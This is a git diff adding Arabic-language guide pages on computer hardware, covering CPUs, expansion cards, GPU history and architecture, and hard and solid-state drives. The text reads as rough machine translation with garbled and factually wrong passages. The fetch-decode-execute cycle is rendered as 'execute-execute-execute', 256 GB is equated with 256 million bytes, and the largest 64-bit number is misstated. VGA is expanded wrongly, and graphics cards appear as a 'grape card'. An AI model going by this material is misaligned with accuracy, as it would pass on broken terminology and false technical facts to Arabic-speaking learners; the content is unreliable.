+تستخدم معظم وحدات المعالجة المركزية الحديثة بنية 64 بت ، مما يعني أنها تستخدم عناوين ذاكرة 64 بت طويلة. استخدام وحدات المعالجة المركزية القديمة أبنية 32 بت و 16 بت و 8 بت. أكبر عدد يمكن تخزين 64 بت وحدة المعالجة المركزية هو 18،446،744،073،709،552،000. تحتاج وحدة CPPU إلى عناوين ذاكرة للحصول على قيم محددة من ذاكرة الوصول العشوائي. إذا اتصلنا بطول عناوين الذاكرة n ، فإن 2 ^ n هي كمية خلايا الذاكرة التي يمكن لوحدة المعالجة المركزية (CPU) معالجتها.
+
+تسمى دورة التعليمة الخاصة بوحدة المعالجة المركزية (CPU) دورة تنفيذ - تنفيذ - تنفيذ - حيث يقوم الكمبيوتر باسترداد تعليمة من ذاكرته ، ويحدد التعليمة التي جلبها وما يفعله ، ثم يقوم بتنفيذ instrucitons المذكورة.
+
+ولعل المشكلة الأكثر شيوعًا التي تؤثر على وحدة المعالجة المركزية هي عدم كفاية التبريد. وحدات المعالجة المركزية هي المولدات الرئيسية للحرارة في أنظمة الكمبيوتر. نظرًا لطبيعتها ، فهي تقع عادة تحت مروحة الكمبيوتر. هناك طرق مختلفة لتقليل الحرارة في الكمبيوتر مع النظامين الرئيسيين وهما مراوح الهواء أو أنظمة التبريد السائل. يمكن أن تسمح صيانة الحرارة المناسبة والأجهزة الإضافية لوحدة المعالجة المركزية التي تم تكوينها بشكل صحيح لأداء أفضل من التصنيف من قبل الشركة المصنعة للرقائق (ويعرف أيضا باسم "رفع تردد التشغيل").
+
+**وظيفة**
+
+المعالِج الدقيق عبارة عن رقاقة سليكونية تحتوي على ملايين الترانزستورات المجهرية. تعمل هذه الشريحة كدماغ للكمبيوتر. يقوم بمعالجة التعليمات أو العمليات الموجودة داخل برامج الكمبيوتر القابلة للتنفيذ. بدلا من أخذ التعليمات مباشرة من القرص الصلب ، يأخذ المعالج تعليماته من الذاكرة. هذا يزيد بشكل كبير من سرعة الكمبيوتر.
+
+**مصنعي المعالجات الدقيقة للكومبيوتر**
+
+هناك نوعان من الشركات المصنعة الرئيسية للمعالجات الدقيقة الكمبيوتر. تقود Intel و Advanced Micro Devices (AMD) السوق من حيث السرعة والجودة. تتضمن وحدات المعالجة المركزية (CPU) الخاصة بشركة Intel Celeron و Pentium و Core. تشمل معالجات AMD على سطح المكتب Sempron و Athlon و Phenom. وتقوم شركة Intel بإنتاج معالجات Celeron M و Pentium M و Core لأجهزة الكمبيوتر المحمولة. أيه إم دي تصنع إصدارات متنقلة من سيمبرون وأثلون ، فضلا عن معالج توريون المحمول الذي يأتي في الإصدارات فائقة وثنائية النواة. كلا الشركتين تصنعان معالجات أحادية النواة ومتعددة النواة.
+
+#### معلومات اكثر:
+
+[ويكيبيديا](https://en.wikipedia.org/wiki/Central_processing_unit)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/expansion-cards/index.md b/client/src/guide/arabic/computer-hardware/expansion-cards/index.md
new file mode 100644
index 0000000000..64fea63bbe
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/expansion-cards/index.md
@@ -0,0 +1,13 @@
+---
+title: Expansion Cards
+localeTitle: بطاقات التوسع
+---
+## بطاقات التوسع
+
+الغرض الأساسي من بطاقة التوسيع هو توفير أو توسيع الميزات التي لا توفرها اللوحة الأم. على سبيل المثال ، لم يكن لدى IBM PC الأصلي رسومات داخلية أو قدرة على القرص الصلب. في هذه الحالة ، توفر بطاقة الرسومات وبطاقة تحكم القرص الثابت ST-506 قدرة الرسومات وواجهة القرص الصلب على التوالي. لم تكن بعض أجهزة الكمبيوتر ذات اللوحة المنفردة تقدم أيًا لبطاقات التوسعة ، وربما قدمت فقط مآخذ الدائرة المتكاملة (IC) على اللوحة لتغييرات محدودة أو التخصيص. نظرًا لأن الموصلات متعددة الأطراف الموثوقة مكلفة نسبيًا ، فإن بعض أنظمة السوق الشامل مثل أجهزة الكمبيوتر المنزلية لا تحتوي على فتحات التوسعة وتستخدم بدلاً من ذلك موصل حافة البطاقة على حافة اللوحة الرئيسية ، مما يؤدي إلى وضع المقبس المطابق المكلف في تكلفة الجهاز المحيطي جهاز.
+
+في حالة توسع القدرة على اللوحة ، قد توفر اللوحة الأم منفذ RS232 تسلسليًا واحدًا أو منفذ إيثرنت. يمكن تثبيت بطاقة توسيع لتقديم منافذ RS232 متعددة أو منافذ إيثرنت متعددة النطاق وعالية. في هذه الحالة ، توفر اللوحة الأم وظائف أساسية ولكن بطاقة التوسيع توفر منافذ إضافية أو محسنة. بطاقة التوسع الأكثر استخدامًا اليوم هي بطاقة العنب.
+
+#### معلومات اكثر:
+
+*   [بطاقات التوسع](https://en.wikipedia.org/wiki/Expansion_card)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/gpu/index.md b/client/src/guide/arabic/computer-hardware/gpu/index.md
new file mode 100644
index 0000000000..b8c54ffe4e
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/gpu/index.md
@@ -0,0 +1,98 @@
+---
+title: GPU
+localeTitle: GPU
+---
+## GPU
+
+GPU لتقف على وحدة معالجة الرسومات. تستخدم غالبية أجهزة الكمبيوتر هذه لتقديم مقاطع الفيديو أو تشغيل ألعاب الفيديو.
+
+وحدة معالجة الرسوميات تشبه وحدة المعالجة المركزية ولكن لها نقاط قوة ونقاط ضعف مختلفة. وحدات المعالجة المركزية (CPU) جيدة جداً في تشغيل بعض المهام بسرعة كبيرة. GPUs أفضل بكثير في تشغيل العديد من المهام في نفس الوقت ، ولكن أبطأ. يمكن لوحدة GPU النموذجية تشغيل أكثر من 10000 مهمة ، ولكن لتشغيل العديد من المهام في نفس الوقت يجب أن تشارك الذاكرة والموارد الأخرى. GPUs عادة ما تقوم بمهام متكررة للغاية مرارا وتكرارا لحفظ وحدة المعالجة المركزية من إهدار الوقت. تحتوي بعض وحدات المعالجة المركزية (CPUs) على وحدات معالجة رسومية (GPU) مدمجة ، ولكن وجود وحدة معالجة رسومات منفصلة يكون دائمًا أكثر قوة.
+
+يمكن استخدام وحدات معالجة الرسوم الرسومية (GPU) في الحساب وكذلك عرض الفيديو. تتضمن الطرق الشائعة للقيام بذلك OpenACC و CUDA و OpenCL و OpenGL. تتضمن بعض التطبيقات تطبيقات GPU لتقليل مقدار الوقت الذي يستغرقه التطبيق للتشغيل.
+
+تم استخدام وحدة معالجة الرسوميات في الأصل بشكل أساسي لعرض لعبة ثلاثية الأبعاد لتحسين الدقة والتحكم. ولكن الآن يتم تسخير هذه القدرات على نطاق أوسع لتحسين أحمال العمل الحسابية في العديد من المجالات ؛ على سبيل المثال النمذجة المالية والبحث العلمي المتطور واستكشاف النفط والغاز. تستخدم GPU أيضًا كمصدر لتعدين البيتكوين ، حيث إنها قادرة على تشغيل المهام المتكررة بسهولة دون إجهاد موارد وحدة المعالجة المركزية ، والتي تسمح لك بتشغيل نظام التشغيل على الكمبيوتر باستخدام وحدة معالجة مركزية منخفضة في حين لا تزال قادرة على bitcoin mine باستخدام GPU
+
+هناك نوعان من العلامات التجارية الرئيسية التي تنتج GPUs: NVidia و AMD. وغالبًا ما يشار إليهم بـ "الفريق الأخضر" و "الفريق الأحمر" الذي يشير إلى اللون الرئيسي لشعارهم.
+
+وتشمل أبرز صانعي GPU: Nvidia و AMD / ATI.
+
+## أصل GPU
+
+يمكن تعيين الخلفية الأكثر بدائية من GPU إلى عصر وحدات تحكم VGA (Virtual Graphics Array). لكن هذه لم تكن في الواقع وحدة معالجة كاملة ، ولكنها عملت كوحدات داعمة لوظائف العرض. وحدة تحكم VGA هي وحدة تحكم بسيطة في الذاكرة متصلة بذاكرة الوصول العشوائي الديناميكية ومولد العرض. تتمثل الوظيفة الرئيسية لـ VGA في تلقي بيانات الصورة وترتيبها بشكل صحيح وإرسالها إلى جهاز فيديو ، والذي كان بشكل أساسي شاشة كمبيوتر أو شاشة تلفزيون متصلة بوحدة تحكم للألعاب للعرض.
+
+تم تطوير وتسويق أول وحدة معالجة متكاملة من أجل التسارع التصويري بواسطة NVIDIA في عام 1999 ، "GeForce 256". كان على المسرعات الأقدم 3D الاعتماد على وحدة المعالجة المركزية (CPU) لتنفيذ العمليات الحسابية الرسومية. مع "GeForce 256" الجديد كمعالج مشترك للمعالج ، تحسن معدل الإطارات بأكثر من 50٪ وخفض التكلفة الإجمالية ، وبالتالي توسعت في السوق الاستهلاكية.
+
+## GPU مقابل وحدة المعالجة المركزية
+
+تم تحسين وحدة المعالجة المركزية للحد الأدنى من زمن الوصول ، أي "لتتمكن من تنفيذ أكبر قدر ممكن من التعليمات التي تنتمي إلى سلسلة محادثات فردية ، في نافذة زمنية محددة". يجب أن يتمكن المعالج من التبديل بسرعة بين العمليات. من أجل الحصول على الكثير من زمن الوصول على وحدة المعالجة المركزية ، هناك الكثير من البنية التحتية في وحدة المعالجة المركزية مثل مخابئ كبيرة للبيانات لتكون متاحة بسهولة للتنفيذ ، والكثير من وحدات التحكم لتنفيذ عمليات الإعدام خارج نطاق ، وعدد قليل من النوى ALU. تم تصميم ISA للمعالج بطريقة أكثر عمومية ويمكنه تنفيذ نطاق واسع من العمليات. بينما تم تصميم وحدة المعالجة المركزية للحسابات والإرشادات العامة ، تطورت GPU للحسابات الرسومية. يجب إجراء نفس الحساب على مئات وآلاف وحدات البكسل من أجل تقديم الرسومات ثنائية / ثلاثية الأبعاد. وبالتالي ، تم تحسين وحدات معالجة الرسومات (GPU) بشكل أساسي لتحقيق أقصى قدر من الإنتاجية. يتم تنفيذ هذا باستخدام أطنان من ALUs في بنية واحدة. يتم تقليص ذاكرة التخزين المؤقت L2 لأنه حتى يتم جلب البيانات من DRAM ، فإن نواة GPU لديها الكثير من العمليات الحسابية ، مما يؤدي إلى تداخل وقت وحدة المعالجة المركزية بالتوازي الهائل. هذا هو المعروف باسم الاختباء الاختباء.
+
+## تطور العمارة GPU
+
+صممت وحدات معالجة الرسومات في الأصل على مفهوم خط أنابيب الرسومات. خط أنابيب الرسومات هو نموذج نظري ، يشتمل على مستويات كيفية إرسال بيانات الرسومات من خلال وتنفيذها باستخدام GPU والبرامج (مثل OpenGL و DirectX). يقوم خط الأنابيب بشكل أساسي بتحويل الإحداثيات المكانية ثلاثية الأبعاد إلى بيانات ثنائية الأبعاد للجهاز ليتم عرضها. ما يلي هو توضيح "خط أنابيب الرسومات ذات الوظيفة الثابتة التقليدية" ، خط أنابيب مقبول بشكل عام حتى اليوم.
+
+### الجيل 0th
+
+لوحة "Reality Engine" من شركة Silicon Graphics Inc. (SGI) وضعت علامة على بداية أجهزة GPU وخطوط الرسومات. لكن التكنولوجيا كانت لا تزال تعتمد على وحدة المعالجة المركزية للنصف الأول. أيضا ، كانت السرعة تقتصر على تنفيذ بكسل واحد في دورة الساعة. يستخدم المحرك برنامج OpenGL ، وهو برنامج تطبيق ثنائي الأبعاد وثلاثي الأبعاد يستخدم على نطاق واسع.
+
+### 1stGeneration
+
+تطورت لعبة "3dfx Voodoo" (1996) كأحد أول مسرع ثلاثي الأبعاد حقيقي للألعاب. لقد تعاملت مع رسم الملمس ، والتنقيط ، والتخزين المؤقت z ولكن كان لا يزال على وحدة المعالجة المركزية القيام بتحويلات قمة الرأس.
+
+### 2ndGeneration
+
+هذه هي النقطة التي تم فيها إطلاق أول معالج جرافيكس حقيقي من نوع NVIDIA "GeForce 256" في السوق المشتركة. قدمت وحدات معالجة الرسومات (GPU) الخاصة بمنفذ الرسومات المسرَّعة هذا الجيل (AGP) وظائف جديدة مثل التعدد ، وتحويل هندسة الأجهزة ، والخرائط الخفيفة ، والإضاءة. ويعرف خط الأنابيب التقليدي بأنه خط أنابيب "وظيفة ثابتة" ، لأنه بمجرد أن يرسل المطور بيانات الرسومات إلى خط أنابيب GPU ، لا يمكن تغيير البيانات.
+
+### الجيل الثالث
+
+مع هذا الجيل من وحدات المعالجة المركزية ، ظهرت خطوط الأنابيب القابلة للبرمجة. الآن يمكن برمجة الأجزاء غير القابلة للبرمجة من قبل المبرمجين. في عام 2001 ، أصدرت NVIDIA GeForce3.
+
+### الجيل الرابع
+
+مع بداية القرن 21 ، وصلت أول "بطاقات الرسومات القابلة للبرمجة بالكامل" للمستهلكين. كان NVIDIA GeForce FX و ATI Radeon 9700 من بين الأوائل. يمكن لوحدات معالجة الرسومات هذه إجراء عمليات لكل بكسل إلى جانب تظليل وحدات البكسل وبرأس قابل للبرمجة. ولكن ، هناك حاجة إلى أجهزة منفصلة مخصصة لتظليل قمة الرأس ومعالجة تظليل بكسل.
+
+### الجيل الخامس
+
+كانت وحدات معالجة الرسوميات تتطور وتتقدم بمعدل الذروة ، وكانت وحدات معالجة الرسوميات من الجيل هذه أول من استخدم ناقل PCI-express. تم تقديم المخازن المؤقتة للعرض المتعدد ، ودعم 64 بت ، وإمكانية الوصول إلى النسيج ، إلى جانب الزيادة في ذاكرة وحدة معالجة الرسومات.
+
+### الجيل السادس
+
+في عام 2006 ، أحدث إصدار GPU Series 8 من NVIDIA ثورة في صناعة GPU والوصول إليها ، من خلال إدخال GPU كمعالجات متوازية بشكل كبير. كان أول من يمتلك تظليل "موحد" و "قابل للبرمجة" ، أو بمعنى آخر ، معالج موحد قابل للبرمجة. الوحدة الموحدة تعني تنفيذ جميع عمليات خطوط الرسومات على معالج واحد وليس هناك حاجة إلى وحدة خارجية لأي مرحلة. المكونات الأساسية لمعالجات GPU الموحدة موضحة أدناه.
+
+منذ إطلاق سلسلة NVIDIA GPUs 9XX ، ازداد أداء الأداء بين الأجيال فقط. من 980Ti إلى 1080Ti و 208Tis الذي تم إطلاقه حديثًا ، ازداد الأداء إلى أكثر من الضعف. كما بدأت AMD في إنتاج وحدات معالجة رسومية أفضل مثل RX 580 و Vega 64 ، على الرغم من أن هذا لا يزال في أي مكان بالقرب من مستوى Nvidia. في الآونة الأخيرة ، أطلقت Nvidia خطًا جديدًا من GPUs بعنوان RTX الذي يتضمن البطاقات الأعلى مثل 2080Ti و 2080 و 2070. يقف RTX لـ "Ray Tracing" ، وهي تقنية عرض تستخدم في توليد الصور على الرغم من تتبع مسار الضوء في مشهد.
+
+## المكونات الأساسية لمعالجات GPU الموحدة
+
+تستند أبنية GPU الموحدة على مجموعة متوازية من العديد من المعالجات القابلة للبرمجة ، حيث جميع مراحل خطوط إنتاج الرسومات ، أي ، قمة الرأس ، والهندسة ، والتنقيط ، ومعالجة تظليل البكسل والحسابات المتوازية على نفس القلب ، على النقيض من وحدات معالجة الرسومات السابقة. تتكامل مجموعة المعالجات بشكل كبير مع معالجات المهام الثابتة للضغط وإزالة الضغط ، والتنقيط ، والعمليات النقطية ، وتصفية الملمس ، ومكافحة الصقل ، وفك تشفير الفيديو ، ومعالجة الفيديو عالي الدقة.
+
+تركز البنية التالية التي نوقشت على تنفيذ العديد من الخيوط المتوازية بكفاءة في العديد من نوى المعالج.
+
+### صفيف المعالج
+
+يتكون صفيف المعالج من العديد من مراكز المعالجة. يحتوي صفيف معالج GPU الموحد على بنية منظمة نموذجية متعددة المعالجات متعددة الخيوط. لتنفيذ كل خيط ، هناك معالج متعدد المعالجات ، وفي كل معالج متعدد المعالجات (GPUs multi-processor) ، المعروف أيضاً باسم Streaming Multiprocessors (SM) ، هناك العديد من معالجات Streaming ، مرتبة في قائمة انتظار. تتصل جميع المعالجات بأقسام DRAM عبر شبكة ربط الاتصال البيني.
+
+### متعددة الخيوط
+
+كما ذكرنا سابقًا ، تم تحسين استخدام وحدة معالجة الرسومات لزيادة الإنتاجية والوقت المختبئي. تعمل خاصية تعدد المؤشرات على نطاق واسع على تقليص وقت استجابة أحمال الذاكرة من DRAM. بينما يكون مؤشر الترابط في المماطلة بسبب إتمام التحميل أو الإحضار ، يمكن للمعالج تنفيذ مؤشر ترابط آخر. أيضا ، بسبب multithreading على نطاق واسع ، GPU يدعم نماذج برمجية تظليل متوازي الرسومات الحبيبية الدقيقة ونماذج برمجة حواسيب متوازية دقيقة.
+
+### العمارة متعددة المعالجات
+
+إلى جانب العديد من نوى المعالج في SM ، هناك وحدات وظيفية خاصة ، ووحدة تعليمات ذات مؤشرات ترابط متعددة ، وتعليمات ومخابئ ثابتة ، وذاكرة مشتركة. كما أن كل نواة تتكون من ملف تسجيل كبير متعدد الخيوط (RF). يتكون كل معالج معالج التدفق من وحدات حسابية صحيحة ونقطة عائمة ، والتي يمكنها معا التعامل مع معظم العمليات.
+
+### SIMT
+
+يستخدم multi-processor الدفق هندسة "multi-threads multi-thread (SIMT)". يتم تنفيذ التعليمات في مجموعة من المواضيع المتوازية المعروفة باسم الاعوجاج. يكون كل مؤشر ترابط متوازي من النوع نفسه ويبدأ معًا في نفس عنوان البرنامج. تشبه بنية معالج SIMT بنية SIMD تمامًا. في SIMT ، يتم تنفيذ تعليمة معينة في سلاسل متوازية متعددة بشكل مستقل ، بينما في SIMD ، يتم تنفيذ نفس التعليمات في ممرات بيانات متعددة في مجموعات متزامنة.
+
+### معالج الجري
+
+ينفذ جميع عمليات FP الأساسية بالإضافة إلى تعليمات حسابية ومقارنة وتحويل وتعليمات منطقية. وحدة وظيفية خاصة يتم تنفيذ بعض تعليمات مؤشر الترابط في SFUs في وقت واحد مع تعليمات مؤشر ترابط أخرى يتم تنفيذها على SPs.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Graphics_processing_unit)
+*   [OpenACC](https://www.openacc.org/)
+*   [CUDA](https://developer.nvidia.com/cuda-zone)
+*   [OpenCL](https://www.khronos.org/opencl/)
+*   [برنامج OpenGL](https://www.opengl.org/)
+*   [مدونة nVidia](https://blogs.nvidia.com/blog/2009/12/16/whats-the-difference-between-a-cpu-and-a-gpu/)
+*   [نفيديا](https://www.nvidia.com/)
+*   [AMD](http://www.amd.com/en-us/products/graphics)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/hard-drives/index.md b/client/src/guide/arabic/computer-hardware/hard-drives/index.md
new file mode 100644
index 0000000000..6e81a93dba
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/hard-drives/index.md
@@ -0,0 +1,42 @@
+---
+title: Storage Drives
+localeTitle: محركات التخزين
+---
+## محركات الأقراص الصلبة (HDD)
+
+تعتبر محركات الأقراص الثابتة أجهزة تخزين دائمة لأجهزة الكمبيوتر. هناك عدة أنواع من محركات الأقراص الصلبة: الأقراص المغناطيسية التقليدية ، أو الجيل الجديد ، أو الأقراص الصلبة أو الأقراص الهجينة التي تحتوي على كل من SSD والتخزين المغناطيسي.
+
+تستخدم الأقراص الصلبة التقليدية الإبر المغناطيسية والأطباق الممغنطة الدوارة لتخزين البيانات. نظرًا لهذه الأجزاء المتحركة ، يتم إتلاف الأقراص الصلبة بسهولة عن طريق القطرات و / أو الصدمات. يستهلك المحرك الذي يدير الأطباق أيضًا الكثير من الطاقة ، ومع ذلك لا توجد طريقة تخزين أخرى بأسعار معقولة لأحجام التخزين الكبيرة.
+
+تأتي محركات الأقراص الصلبة بسعات تخزين مختلفة ، مع بعض تخزين 10 تيرا بايت (10 تريليون بايت). تأتي أجهزة الكمبيوتر العادية مع 256 جيجابايت (256 مليون بايت) إلى 1 تيرا بايت من مساحة التخزين. تستخدم أجهزة الكمبيوتر المحمولة عادة محركات الأقراص الصلبة (SSDs) لأنها أسرع وأخف وزنا ولا تحتوي على أجزاء متحركة ، مما يجعلها أقل عرضة للفشل بسبب التأثير. بالنسبة لنفس سعة التخزين ، تكون محركات أقراص SSD أكثر تكلفة من محركات الأقراص الصلبة. في الآونة الأخيرة ، تم إصدار بعض محركات أقراص SSD التي تتعامل مع اللوحة الأم من خلال فتحة الحافلة PCIe (PCI Express) باستخدام نظام يسمى NVMe. وقد أثبتت محركات الأقراص ذات الحالة الثابتة أنها أسرع في أوقات القراءة / الكتابة من محركات أقراص SATA التقليدية.
+
+والرؤوس المغنطيسية مسؤولة عن قراءة وكتابة البيانات ، المخزنة فعليًا على مجموعة من الأقراص المغلفة مغناطيسياً مكدسة فوق بعضها البعض - يشار إليها على أنها طبق. تقع الرؤوس في نهاية الحافظة. تحتوي الأقراص الداخلية للطبق على رأسين على ذراع واحدة. يسمح ذلك بالوصول إلى البيانات من كل من الأقراص وأسفلها وأسفلها. تحتوي الأقراص العلوية والسفلية للطبق على رأس واحد فقط في نهاية الذراع. على الطرف الآخر من الذراع هو المحرك. ويوفر حركة الذراع للسفر من مركز الطبق ، المغزل ، إلى المناطق الخارجية للطبق. ويشار إلى مقدار الوقت المستغرق لوضع الرأس في الموقع المتحد المركز الصحيح على أنه وقت البحث. بمجرد وضع الرأس في الموقع المكاني المركّز الصحيح ، يتم قضاء المزيد من الوقت في انتظار تدوير القرص بحيث يكون القطاع الذي يحتوي على البيانات المطلوبة أسفل الرأس. ويشار إلى هذا المقدار من الوقت على أنه وقت الاستجابة.
+
+يتم وضع الرؤوس على بعد بضعة نانومترات فقط من الأقراص الدوارة. ويقال إن الرؤوس "تطير" فوق الطبق وبالتالي فإن المسافة بين الرأس والطبق يشار إليها باسم "الارتفاع الطائر". تم تصميم الرؤوس بحيث لا تلمس مواقع الأطباق التي تخزن البيانات ويتم تغليفها مغناطيسياً. إذا كان الرأس "يتناثر" على طبق ، فقد يتم تدمير كل من الرأس والقطاعات من الأطباق ، مما يؤدي إلى فقدان البيانات (ومن هنا تأتي عبارة "تحطم القرص الصلب" أو "تحطم الرأس").
+
+تسترجع محركات الأقراص الصلبة البيانات وتخزينها من التطبيقات بناءً على طلب وحدة المعالجة المركزية. ويشار إلى هذا باسم عمليات الإدخال / الإخراج - IO للاختصار. عندما يتطلب برنامج تشغيل جزءًا معينًا من البيانات ، تقوم وحدة المعالجة المركزية بإصدار تعليمات للبيانات التي سيتم جلبها من القرص الصلب. قراءة هذه القطعة من البيانات هي عملية إدخال (من منظور وحدة المعالجة المركزية). قد يقوم البرنامج بعد ذلك بإجراء عملية حساب تقوم بتغيير البيانات وتحتاج النتائج إلى تخزينها مرة أخرى على القرص الصلب. تطلب وحدة المعالجة المركزية كتابة البيانات مرة أخرى إلى محرك الأقراص. سيكون هذا مثالاً لعملية الإخراج (مرة أخرى ، من منظور وحدة المعالجة المركزية).
+
+يقاس أداء القرص الصلب في المقام الأول بمقياسين رئيسيين 1) زمن الاستجابة ، وهو طول المدة التي تستغرقها عملية القراءة أو الكتابة لاستكمالها) 2) IOPS وهو اختصار لـ "عمليات الإدخال / الإخراج في الثانية". كما يوحي الاسم ، IOPS هو قياس العمليات IO القصوى في ثانية واحدة. العامل الأساسي في تحقيق الحد الأقصى من IOPS في أدنى وقت استجابة هو سرعة دوران القرص الصلب قياسها في دورات في الدقيقة (RPM). سرعات الدوران الشائعة هي 5،400 دورة في الدقيقة ، و 7،200 دورة في الدقيقة ، و 10،000 دورة في الدقيقة ، و 15000 دورة في الدقيقة (يشار إليها عادةً بـ 5.4K ، و 7.2 K ، و 10 K ، و 15 K). محركات الأقراص الصلبة ذات معدلات الدوران الأعلى RPM's) سيكون لها أكثر من قطعة من العقارات تمر تحت رؤوس عمليات IO (القراءة والكتابة). أما محركات الأقراص الصلبة ذات معدلات الدوران المنخفضة في RPM ، فسوف يكون لها تأخر ميكانيكي أعلى بكثير ، حيث يمر أقل من العقارات أسفل الرؤوس.
+
+تُعرف أداة واحدة بسيطة لقياس مقاييس أداء محرك الأقراص الصلبة بـ IOMeter (انظر الرابط أدناه). البرنامج خفيف الوزن للغاية وسهل التركيب. بمجرد تشغيله ، يمكن تشغيل عدة تنويعات مختلفة من أحمال العمل لمحاكاة قراءة البيانات والكتابة إلى القرص. يتم تحليل هذه البيانات ومقاييس النتائج لأوقات القراءة / الكتابة ، IOPS ، بالإضافة إلى مقاييس أخرى مفيدة. يمكن حفظ الاختبارات لإجراء فحوصات متسقة ، ويمكن بسهولة تحليل البيانات في جدول أو شكل رسم بياني.
+
+تميل محركات الأقراص الصلبة إلى تصنيفها حسب حالة الاستخدام (السعة أو الأداء). تميل محطات عمل أجهزة الكمبيوتر المنزلية ومكتب الاستخدام العام إلى استخدام محركات الأقراص الثابتة الدوارة الأبطأ (5.4 كيلوبايت و 7.2 كيلوبايت) ، مما يجعلها مناسبة لتخزين الصور وملفات المكاتب. ومع ذلك ، فإن قواعد البيانات الكبيرة التي تدعم المعاملات المصرفية عبر الإنترنت ، على سبيل المثال ، تستخدم محركات الأقراص الثابتة بسرعة 10K و 15K RPM لأنها ستكون مكونات في خادم المؤسسة أو صفيف التخزين. هناك مقايضة بين أداء القرص الصلب والقدرة ، ولكن. على سبيل المثال ، أكبر محرك أقراص ثابتة سعة 15 كيلو بايت متاح اليوم هو 600 جيجابايت فقط ، في حين أن أكبر محرك أقراص ثابت سعة لكل من 5.4 كيلو و 7.2 كيلو بت في الدقيقة هو 10 تيرابايت. محرك الأقراص 15K 600K قادر على 250 وقت استجابة IOPS @ 3 (المتوسطات). في حين أن محرك الأقراص TB 7.2 كيلو تي 10 لا يقيس IOPS في وقت استجابة محدد ، حيث إنه لم يتم تحسينه أو قصده لحالات استخدام الأداء المركزي لـ IOPS. هناك أيضا مفاضلات أخرى في السعر لكل جيجابايت ، والطاقة المستهلكة والحجم (2.5 بوصة مقابل 3.5 بوصة).
+
+تقوم أجهزة الكمبيوتر بتخزين البيانات والملفات على محركات الأقراص الثابتة لاستخدامها لاحقًا. نظرًا لأن محركات الأقراص الثابتة تحتوي على أجزاء متحركة ، يستغرق الأمر وقتًا طويلاً لقراءة ملف من محرك أقراص ثابت بدلاً من ذاكرة الوصول العشوائي (RAM) أو ذاكرة التخزين المؤقت على وحدة المعالجة المركزية (CPU). يمكنك التفكير في قرص صلب كخزانة لحفظ الملفات: مكان لتخزين الأشياء التي لا نستخدمها الآن ، ولكن تحتاج لاحقًا. ليس لديك مساحة كافية على مكتبك لجميع أوراقك ، لذلك يمكنك تخزين الأشياء التي لا تستخدمها الآن في خزانة الملفات. جهاز كمبيوتر يفعل هذا فقط. فإنه يحتفظ بالملفات التي تستخدمها الآن في ذاكرة الوصول العشوائي ، والملفات التي قد تحتاج إليها لاحقًا على محرك الأقراص الثابتة. على الرغم من أن ذاكرة الوصول العشوائي (RAM) لديها أوقات وصول وأوقات استجابة أسرع بمرتين بالمقارنة مع محركات الأقراص الصلبة ، فإن سعتها النموذجية تكون 1-2 نقطة من المقدار أقل من محرك الأقراص الثابت النموذجي. يمكنك تركيب رزم من الورق في خزانة الملفات ، ولكن القليل منها على مكتبك.
+
+ويقال إن البيانات المخزنة في ذاكرة الوصول العشوائي عابرة في حين أن البيانات المكتوبة على القرص الصلب ثابتة. بمعنى أنه إذا خرجت الطاقة فجأة ، فستفقد أي بيانات موجودة في ذاكرة الوصول العشوائي ولن تكون موجودة بعد استعادة الطاقة وإعادة تشغيل الكمبيوتر مرة أخرى. ومع ذلك ، ستكون البيانات التي تمت كتابتها على القرص الصلب موجودة عند استعادة الطاقة. ولهذا السبب ، فإن أنظمة التشغيل والتطبيقات الحديثة ستقوم دوريًا بكتابة بيانات ذات صلة بالجلسات والتطبيقات والتي تعمل حاليًا في ذاكرة الوصول العشوائي إلى محرك الأقراص الصلبة. بهذه الطريقة إذا خرجت الطاقة ، تم إدخال 10 دقائق فقط من البيانات في جدول بيانات تم إنشاؤه حديثًا وتم العمل عليه لمدة 3 ساعات قبل انقطاع التيار الكهربي ولم يتم حفظه بعد في محرك الأقراص الثابتة. عادةً ما يتم الإشارة إلى هذه الملفات بـ tilde ~ ويمكن العثور عليها في دليل مؤقت أو مؤقت أو ربما توجد في 'دليل أعمى' يشار إلى محتوياته كملفات مخفية.
+
+## محركات الأقراص الصلبة (SSD)
+
+تستخدم محركات الأقراص ذات الحالة الثابتة الدوائر المتكاملة لتخزين البيانات. لذلك ، لا تحتوي SSD على أجزاء متحركة مثل محرك الأقراص الصلبة. هذا يجعلها أقل عرضة للصدمات البدنية ، تعمل بصمت ، ولها أوقات قراءة / كتابة أسرع بفضل عدم الحاجة إلى تحديد موقع البيانات جسديا.
+
+عادة ما يتم استخدام محركات الأقراص ذات الحالة الثابتة فقط كمحركات أقراص تمهيد أو تخزين للتطبيقات المستخدمة في الغالب في كمبيوتر الشخص. ويرجع ذلك إلى أنه على الرغم من انخفاض سعره كثيراً في السنوات الأخيرة ، إلا أنه لا يزال أغلى بكثير من محرك الأقراص الصلبة التقليدي. وبالتالي ، لا تزال محركات الأقراص الصلبة تستخدم لتخزين أجزاء كبيرة من البيانات مثل الصور ومقاطع الفيديو لدينا ، أو في مراكز البيانات أو مزارع الخوادم.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا - محرك الأقراص الصلبة](https://en.wikipedia.org/wiki/Hard_disk_drive)
+*   [ويكيبيديا - ارتفاع الطيران](https://en.wikipedia.org/wiki/Flying_height)
+*   [ويكيبيديا - تخزين بيانات الكمبيوتر](https://en.wikipedia.org/wiki/Computer_data_storage)
+*   [PCMag - SSD vs. HDD: ما هو الفرق؟](https://www.pcmag.com/article2/0,2817,2404258,00.asp)
+*   [الاتجاهات الرقمية - SSD مقابل الأقراص الصلبة](https://www.digitaltrends.com/computing/solid-state-drives-vs-hard-disk-drives)
+*   [مشروع اوميتر](http://www.iometer.org)
\ No newline at end of file
diff --git a/client/src/guide/arabic/computer-hardware/index.md b/client/src/guide/arabic/computer-hardware/index.md
new file mode 100644
index 0000000000..2a1154f35c
--- /dev/null
+++ b/client/src/guide/arabic/computer-hardware/index.md
@@ -0,0 +1,63 @@
+---
+title: Computer Hardware
+localeTitle: أجزاء الكمبيوتر
+---
+## أجزاء الكمبيوتر
+
+في هذا القسم ، نستكشف مكونات الأجهزة المختلفة لأجهزة الكمبيوتر الحديثة.
+
+## أجزاء من جهاز كمبيوتر شخصي
+
+### وحدة المعالجة المركزية (CPU)
+
